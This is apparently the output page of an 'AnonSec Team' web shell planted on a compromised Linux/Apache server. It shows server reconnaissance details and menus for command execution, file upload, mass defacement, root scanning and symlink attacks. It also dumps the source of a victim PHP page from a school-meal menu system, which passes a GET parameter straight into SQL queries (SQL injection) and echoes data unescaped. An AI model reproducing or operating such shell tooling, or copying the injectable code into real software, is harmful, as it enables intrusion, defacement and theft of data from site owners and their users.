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/  Your IP : 216.73.217.165   [ Reverse IP ]
Web Server : Apache
System : Linux VMRALP-3 4.4.0-256-generic #290~14.04.1-Ubuntu SMP Thu Jun 20 09:24:50 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29+esm15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Domains : 3 Domains
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/merenda/dev/modulos/cardapio/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/merenda/dev/modulos/cardapio/cardapio_s_edt.php
<?php
    /**
     * Created by PhpStorm.
     * User: RalpAlves
     * Date: 04/03/15
     * Time: 14:02
     */
    
    $v_cod = $_GET['cod_card'];
    
    mysql_select_db($banco, conexao);
    $rs_cardapio      = mysql_query("SELECT * FROM v_lista_cardapio_simplificado where cdp_id = $v_cod");
    $resulta          = mysql_fetch_array($rs_cardapio);
    $_codigo          = $resulta['cdp_id'];
    $rs_nutricionista = mysql_query("SELECT * FROM nutricionista order by nut_nome");
    $rs_prd           = mysql_query("SELECT * FROM v_lista_produtos_licitados WHERE qtd_entradanf OR qtd_implantacao OR qtedevol IS NOT NULL ORDER BY pro_produto");
    $rs_und           = mysql_query("SELECT * FROM unidade WHERE und_ativo='1'");
    $rs_remi          = mysql_query("SELECT * FROM v_lista_cardapio_s_item WHERE cdp_id=$v_cod order by pro_produto");
?>
<head>
    <script type="text/javascript">
        function excluir_registro(e) {
            if (!confirm('Deseja realmente excluir este registro?')) {
                if (window.event)
                    window.event.returnValue = false; else
                    e.preventDefault();
            }
        }
    </script>
    <script type="text/javascript">
        $(document).ready(function () {
            $('#tabela').DataTable({
                "pagingType": "full_numbers", "lengthMenu": [[8, 25, 50, -1], [8, 25, 50, "Todos"]], stateSave: true, "oLanguage": {
                    "sProcessing": "Processando. Aguarde...",
                    "sLengthMenu": "Mostrar  _MENU_  registros",
                    "sZeroRecords": "NENHUM REGISTRO ENCONTRADO!",
                    "sInfo": "Mostrando _START_ até _END_ de _TOTAL_ registros",
                    "sInfoEmpty": "Mostrando 0 até 0 de 0 registros",
                    "sInfoFiltered": "(de _MAX_ registros no total)",
                    "sInfoPostFix": "",
                    "sSearch": "<em class='fa fa-search' title='pesquisar'></em>",
                    "sUrl": "",
                    "oPaginate": {
                        "sFirst": "<em class='fa fa-angle-double-left' title='primeiro registro'>",
                        "sPrevious": "<em class='fa fa-arrow-circle-left' title='registro anterior'></em>",
                        "sNext": "<em class='fa fa-arrow-circle-right' title='próximo registro'></em>",
                        "sLast": "<em class='fa fa-angle-double-right ' title='último registro'>"
                    }
                }
            });
        });
    </script>
</head>

<div id="data_cardapio" class="col-md-offset-4"></div>

<form id="form1" name="form1" method="post" action="?page=./cardapio/cardapio_crud&var_acao=editar_s">
    <div class="container">
        <div class="panel panel-info">
            <div class="panel-heading">
                <div class="panel-title">
                    <button type="button" name="bt_novo" class="btn botao_esquerda" title="voltar" onclick=location.href='?page=./cardapio/cardapio_s'>
                        <i class="fa fa-arrow-left"></i></button>
                    <span style="font-size:20px;">&nbsp;&nbsp;Cardapio Simplificado | Edição&nbsp;&nbsp;</span>
                    <button type="submit" name="bt_novo" class="btn botao_direita" title="salvar"><i class="fa fa-check"></i></button>
                    <!--<a href="modulos/cardapio/rel_cardapio_ficha.php?id=--><? //=$v_cod?><!--" target='_blank'>-->
                    <!--<i class="glyphicon glyphicon-print text-print botao_centro" title="gerar PDF"></i>-->
                    <!--</a>-->
                </div>
            </div>
        </div>
    </div>
    <!--
    EDICAO DE CARDAPIO
    -->
    <div id="id_form" class="container">
        <div class="">
            <div class="col-md-2">
                ID<br>
                <input type="text" name="txt_id" readonly class="form-control" value="<?php echo $v_cod ?>">
            </div>
            <div class="panel-body"></div>
            <div class="col-md-12">
                Cardápio<br>
                <input type="text" name="txt_cardapio" class="form-control lm" value="<?php echo utf8_encode($resulta['cdp_nmcardapio']); ?>">
            </div>
            <div class="panel-body"></div>
            <div class="col-md-2">
                Data inicial<br>
                <input type="text" name="txt_data_i" class="form-control" value="<?php echo $resulta['cdp_dtinic'] ?>" onKeyup="formataData(this,event);" maxlength="10">
            </div>
            <div class="col-md-2">
                Data final
                <input type="text" name="txt_data_f" class="form-control" value="<?php echo $resulta['cdp_dtfim'] ?>" onKeyup="formataData(this,event);" maxlength="10">
            </div>
            <div class="col-md-8">
                Nutricionista<br>
                <select name="txt_nutricionista" class="form-control">
                    <?php while ($_nutri = mysql_fetch_array($rs_nutricionista)) {
                        if ($resulta['cdp_nut_id']==$_nutri['nut_id']) {
                            $selected = 'selected';
                        } else {
                            $selected = '';
                        }
                        ?>
                        <option value="<?=$_nutri['nut_id']?>" <?php echo $selected; ?>><?=$_nutri['nut_nome']?></option>
                    <?php } ?>
                </select>
            </div>
        </div>
    </div>
</form>
<!--ITENS DO CARDAPIO-->
<div class="container">
    <div class="panel with-nav-tabs panel-primary">
        <div class="panel-heading">
            Itens do cardápio
        </div>
        <div class="tab-content">
            <div class=" panel-body">
                <div class="col-md-12">
                    <form id="form1" name="form1" id="cad_produto" method="post" action="?page=./cardapio/cardapio_crud&var_acao=cadastrar_s_item">
                        <input type="hidden" name="txt_id_cdp" value="<?php echo $v_cod ?>">
                        <div class=" panel-body panel-primary filterable">
                            <div class="col-md-8">
                                <label for="">Produto</label>
                                <select name="txt_produto" id="txt_produto" class="form-control select2 select2-container--open">
                                    <option value="999" selected>Selecione uma opção</option>
                                    <?php while ($_prd = mysql_fetch_array($rs_prd)) {
                                        //SALDO GERAL
                                        $cod_prd   = $_prd['pro_id'];
                                        $rs_entra1 = mysql_query("SELECT * FROM v_lista_saldo_entradas where pro_id=$cod_prd");
                                        $entra1    = mysql_fetch_array($rs_entra1);
                                        $rs_perca1 = mysql_query("SELECT * FROM v_saldo_percas where imi_codprod=$cod_prd");
                                        $s_per1    = mysql_fetch_array($rs_perca1);
                                        $toent1    = $entra1['qtd_entra_implam'] + $entra1['qtd_entra_nf'];
                                        $tosal1    = ($entra1['qtd_entra_implam'] + $entra1['qtd_entra_nf']) - ($entra1['qtd_sai_rem_car'] + $entra1['qtd_sai_rem_avu'] + $s_per1['quantidade']);
                                        //SALDO GERAL
                                        ?>
                                        <option value="<?php echo $_prd['pro_id'] ?>|<?php echo $_prd['pro_unid_id'] ?>"><?php echo utf8_encode($_prd['pro_produto']) . ' (' . $_prd['pro_id'] . ')' . ' (Saldo: ' . number_format($tosal1, 2, ',', '.') . ')' ?></option>
                                    <?php } ?>
                                </select>
                            </div>
                            <div class="col-md-2">
                                <label for="">unidade</label>
                                <select id="txt_unidade" name="txt_unidade" class="form-control select2">
                                    <option value="999" selected>Selecione</option>
                                    <?php while ($_und = mysql_fetch_array($rs_und)) {
                                        if ($rs_remi['und_id']==$_und['und_id']) {
                                            $selected = 'selected';
                                        } else {
                                            $selected = '';
                                        } ?>?>
                                        <option value="<?=$_und['und_id']?>" <?php echo $selected; ?>><?=utf8_encode($_und['und_desc'])?></option>
                                    <?php } ?>
                                </select>
                            </div>
                            <div class="col-md-2">
                                <label for="">&nbsp;&nbsp;&nbsp;</label>
                                <br>
                                <button type='submit' name='bt_cad_prod' class='btn input-sm' title="Adiconar produto">
                                    <i class="fa fa-check"></i>
                                </button>
                            </div>
                        </div>
                    </form>
                </div>
            </div>
        </div>
    </div>
</div>
<!--PRODUTOS CADASTRADOS NO CARDAPIO-->
<div class="container">
    <div class="panel panel-body panel-primary">
        <table class='tabe1 table table-striped table-hover dt-responsive' cellspacing='0' width='100%' border='0'>
            <thead>
            <tr>
                <th width="5%">ID</th>
                <th width="50%">Produto</th>
                <th width="10%">Und.</th>
                <th width="1%"></th>
            </tr>
            </thead>
            <tbody>
            <?php
                while ($item_c = mysql_fetch_array($rs_remi)) {
                    $id_cdp = $item_c['cdp_id'];
                    $id_ite = $item_c['rmi_id'];
                    echo "<tr>";
                    echo "<td style='font-size: 14px;'>" . $item_c['rmi_id'] . "</td>";
                    echo "<td style='font-size: 14px;'>" . utf8_encode($item_c['pro_produto']) . '-' . $item_c['rmi_pro_id'] . "</td>";
                    echo "<td style='font-size: 14px;'>" . $item_c['und_desc'] . "</td>";
                    echo "<td style='font-size: 14px;'><a href='?page=./cardapio/cardapio_crud&cod_cardapio=$id_cdp&cod_item=$id_ite&var_acao=excluir_s_item'> <em class='fa fa-trash text-red' title='Excluir refeição' onclick='excluir_registro(event);'/></a></td>";
                    echo "</tr>";
                }
            ?>
            </tbody>
        </table>
    </div>
</div>
<div class="panel-body"></div>
</html>

Anon7 - 2022
AnonSec Team